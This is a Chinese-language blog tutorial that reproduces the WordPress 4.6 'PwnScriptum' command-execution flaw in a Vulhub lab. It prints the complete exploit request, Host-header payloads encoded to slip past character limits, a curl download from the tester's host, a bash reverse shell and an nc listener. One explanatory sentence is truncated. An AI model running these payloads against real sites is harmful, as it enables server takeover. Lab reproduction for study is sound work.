wordpress 4.6任意命令执行漏洞(PwnScriptum)复现

今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、wordpress 4.6任意命令执行漏洞(PwnScriptum)简介与靶场搭建

wordpress 4.6版本存在任意命令执行漏洞(PwnScriptum),该漏洞产生于
,我们可以把要执行的命令写入到Post数据包中的Host字段中。
该漏洞影响的范围是wordpress<=4.6.0,PHP Mailer<5.2.18。
我们使用Vulhub靶场来搭建该漏洞,进入到/vulhub-master/wordpress/pwnscriptum/目录后,我们执行命令:

docker-compose up -d

即可启动漏洞环境,命令执行结果如下所示:
在这里插入图片描述
执行命令:

docker-compose config

即可查看当前的Docker虚拟机配置,命令执行结果如下所示:
在这里插入图片描述
我们根据配置,就可以访问Docker虚拟环境了,访问结果如下所示:
在这里插入图片描述
我们简单安装WordPress后,就可以进行漏洞复现了。

二、wordpress 4.6任意命令执行漏洞(PwnScriptum)复现

该漏洞EXP如下所示:

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{【要执行的命令】}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

该数据包属于重置密码时产生的数据包,产生于下图中“获取新密码”点击后。
在这里插入图片描述
我们在数据包中将要执行的命令,插入到上述payload中指定的位置,就可以实现命令执行了。但是,这个漏洞的利用存在很大的限制,主要限制如下所示:
1、我们需要将执行的命令中“/”替换成${substr{0}{1}{$spool_directory}},将空格替换成${substr{10}{1}{$tod_log}}。在命令中可以出现“-”、“.”等字符,但是不能出现引号、管道符。
2、该命令会被转化成小写字母。
3、我们的命令需要使用绝对路径,而不能使用Linux环境变量。例如不能直接使用bash,要使用/bin/bash。
4、我们需要在上述数据包中输入正确的用户名,因此该漏洞的利用前提还必须知道wordpress后台一个存在的用户名。
5、我们处理后的命令会执行,但是不会显示到页面上。
针对上述限制,我们如果想借助这个漏洞获取shell,由于输入的命令存在字符上的限制,那么通常需要将先将建立shell的代码放入我们受控的服务器中,让目标系统将该代码下载下来,然后再控制执行该代码。
综上,我们需要执行以下两步命令来获取shell:
1、/usr/bin/curl -o /tmp/rce 192.168.136.1/shell.sh
2、/bin/bash /tmp/rce
在本地服务器上shell.sh的内容是:

bash -i >& /dev/tcp/192.168.136.1/7777 0>&1

我们还需要在本地服务器上使用nc建立监听的TCP端口,执行命令:

nc -lvp 7777

对上述代码还存在疑惑的可以参考文章:Windows nc命令下载使用与使用bash建立反弹shell
下面,在本地服务器上完成相关设置后,我们需要对上述2条命令进行处理。第一条命令原本为:

/usr/bin/curl -o /tmp/rce 192.168.136.1/shell.sh

将命令中的斜杠和空格替换成指定内容,并添加固定格式后后,新的命令为:

target(any -froot@localhost -be ${run{${substr{0}{
    
    1}{
    
    $spool_directory}}usr${substr{0}{
    
    1}{
    
    $spool_directory}}bin${substr{0}{
    
    1}{
    
    $spool_directory}}curl${substr{10}{
    
    1}{
    
    $tod_log}}-o${substr{10}{
    
    1}{
    
    $tod_log}}${substr{0}{
    
    1}{
    
    $spool_directory}}tmp${substr{0}{
    
    1}{
    
    $spool_directory}}rce${substr{10}{
    
    1}{
    
    $tod_log}}192.168.136.1${substr{0}{
    
    1}{
    
    $spool_directory}}shell.sh}} null)

我们使用BurpSuite抓取指定的数据包,然后将上述命令放到数据包的Host部分,如下所示:
在这里插入图片描述
之后,我们用同样的方式处理第二条命令,第二条命令原本为:

/bin/bash /tmp/rce

处理后为:

target(any -froot@localhost -be ${run{${substr{0}{
    
    1}{
    
    $spool_directory}}bin${substr{0}{
    
    1}{
    
    $spool_directory}}bash${substr{10}{
    
    1}{
    
    $tod_log}}${substr{0}{
    
    1}{
    
    $spool_directory}}tmp${substr{0}{
    
    1}{
    
    $spool_directory}}rce}} null)

放入到BurpSuite抓包后结果为:
在这里插入图片描述
上述命令执行完毕后,我们可以在本地看到已经建立了nc链接,我们拿到了目标服务器的shell权限,可以执行命令了,如下所示:
在这里插入图片描述
从上图可以看出,wordpress 4.6任意命令执行漏洞(PwnScriptum)复现成功!
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

猜你喜欢

转载自blog.csdn.net/weixin_40228200/article/details/128461257